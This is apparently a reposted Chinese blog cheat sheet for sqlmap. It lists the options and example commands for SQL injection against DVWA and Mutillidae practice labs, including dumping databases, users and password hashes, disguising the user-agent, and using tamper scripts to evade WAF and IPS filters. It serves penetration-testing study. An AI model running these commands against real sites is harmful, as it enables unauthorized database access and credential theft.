来源:https://blog.csdn.net/ski_12/article/details/58188331
-u #注入点
-r “” # 加载文件注入
sqlmap.py -r “d://a.txt”
-f #指纹判别数据库类型
-b #获取数据库版本信息 也可以写成–banner
-d参数,直接连接数据库服务器,作为数据库客户端使用而不是通过SQL注入漏洞查询进行,查询速度较快,前提是已知数据库当前的用户名及其密码、IP、端口(3306端口为mysql)和数据库名称(dvwa):
sqlmap.py -d “mysql://user:[email protected]:3306/dvwa” -f --users
-p #指定可测试的参数(?page=1&id=2 -p “page,id”) 使- -level失效
-m参数,将有多个URL的文件提交上来进行扫描:
sqlmap.py -m urllist.txt --users
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “
-wizard:命令参数向导
--columns #列出字段
--cookie="cookie" #携带cookie连接
--current-db #查看当前数据库管理系统用户
--current-user #查看当前数据库管理**系统用户**
--users #查看当前数据库的**所有用户**
--passwords #数据库用户所有密码
--privileges #查看用户权限(–privileges -U root)
--dbs #列出所有数据库
--tables -D 指定数据库 #列出指定数据库中的表
-D dvwa T users --columns #列出dvwa数据库中的users表的所有字段
--dump-all #列出所有数据库所有表
--exclude-sysdbs #只列出用户自己新建的数据库和表
--hostname:查看目标主机名
携带cookie认证注入
sqlmap.py -u “url” –cookie=”cookie” –batch
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=h1hueell46k88im8tcv385af64" --batch
-p 指定可测试的参数 ?page=1&id=2 -p “page,id”
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=h1hueell46k88im8tcv385af64" -p id --batch
HTTPS:
扫描HTTPS网站时需要添加参数–force-ssl:
sqlmap.py -u “https://10.10.10.137/a.php?id=1:8843” --force-ssl
Request:
–data数据段:将URL中的参数部分放到后面
GET/POST都适用,在GET方法中将URL后面的参数部分提取出来就好,在POST方法中需要自己用Burpsuite查看URL和参数的值即可,当然也可以在浏览器中F12打开开发者工具来查看。
sqlmap.py -u "http://127.0.0.1/DVWA/login.php" --data="username=admin&password=password&Login=Login&user_token=527b2c45a380daf44439229f87dfb3e7" -f
--param-del:变量分隔符
默认情况下参数变量的分隔符为&,若为其他符号时要使用变量分隔符。
sqlmap.py -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --data="username=1;password=2;login-php-submit-button=Login" --param-del=";" -f
很多服务器对于user-agent中出现sqlmap字样的都会被过滤掉,因此需要通过–user-agent参数进行修改,可以从刚刚用的Burpsuite中找:
sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0"
--host:修改Host头主机内容
Level=5时sqlmap自动扫描
有上面的扫描结果知道,Host为10.10.10.137,直接在上面的命令中添加–host修改为HHH:
--referer:
–headers:
自定义的HTTP头,每行一个头,大小写区分:
--headers=”Host:HT\nUser-Agent:UA”
--method=GET/POST:指定使用GET方法或者POST方法
基于HTTP协议的身份验证:
Basic:基本身份验证
Digest:摘要身份验证
NTLM:Windows可能用的身份验证
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" --auth-type Basic --auth-cred “user:password”
--auth-file:
需要PEM格式的证书文件
--auth-file=”ca.PEM”
http(s)代理:
--proxy=”http://127.0.0.1:8087”
--proxy-cred=”username:password”:身份认证
--ignore-proxy:忽略系统级代理设置,通常用于扫描本地网络目标
sqlmap -u “http://10.10.10.137/a.php?id=1” --proxy=”http://127.0.0.1:8087” -f
因为检测和盲注阶段会产生大量失败请求,服务器可能会销毁session。因此可以使用上述两个参数来解决,每发送–safe-freq次注入请求后,发送一次正常请求,即发送几个失败请求后就发送一次正常信息,绕过服务器的检测机制。
--safe-url和--safe-freq:
--keep-alive:
使用http(s)长连接,避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
与–proxy参数不兼容
–threads:
最大并发线程,默认值为1,建议不要超过10,否则会影响站点可用性
与–predict-output参数不兼容
盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
–skip:排除指定的扫描参数
--level=5 --skip=”id,user-agent”
--dbms:指定数据库,可以加版本号,提高注入的效率
数据库名如MySQL<5.0>、Oracle<11i>、Microsoft SQL Server<2005>、PostgreSQL等
–tamper:
混淆脚本,用于绕过应用层过滤、IPS、WAF
查看脚本:dpkg -L sqlmap | grep tamper
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --tamper="randomcase.py,space2dash.py" --users -v 3
Brute Force:
无权读取information_schema库时,需要用到暴力破解来扫描
–common-tables:暴力破解表名
–common-columns:暴力破解列名